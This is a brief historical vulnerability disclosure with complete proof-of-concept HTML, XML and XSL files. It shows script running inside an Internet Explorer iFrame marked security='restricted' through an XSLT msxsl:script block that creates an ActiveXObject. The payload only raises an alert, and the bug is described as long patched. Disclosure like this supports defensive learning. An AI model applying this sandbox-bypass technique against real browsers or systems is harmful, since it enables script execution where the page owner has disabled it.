The security="restricted" attribute on an iFrame is supposed to prevent any script execution inside it. I found that loading an XML document with an external XSL stylesheet inside such a restricted iFrame would still execute the script embedded in the stylesheet’s msxsl:script block. The restriction did not cover the stylesheet execution path.
<!-- index.html -->
<iframe security="restricted" src="xml.xml" width="760" height="50"></iframe>
<!-- xml.xml -->
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="xsl.xsl"?>
<test></test>
<!-- xsl.xsl -->
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://anything/mynamespace">
<msxsl:script language="JavaScript" implements-prefix="user">
<![CDATA[
function main()
{
var ax = new ActiveXObject("htmlFile");
ax.parentWindow.alert("This script has been executed inside a SECURITY=RESTRICTED iFrame");
return "This iFrame has the SECURITY attribute set to RESTRICTED. However, we have been able to execute a script!";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:main()"/>
</xsl:template>
</xsl:stylesheet>
The msxsl:script block can create an htmlFile ActiveXObject and call parentWindow.alert, executing arbitrary script with whatever privileges the stylesheet processor runs under. The security="restricted" attribute is simply not checked when the XSLT transform engine processes its script blocks. Inspired by WinOOB #1151467 and MSRC #11351. Confirmed on IE9 and IE10.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.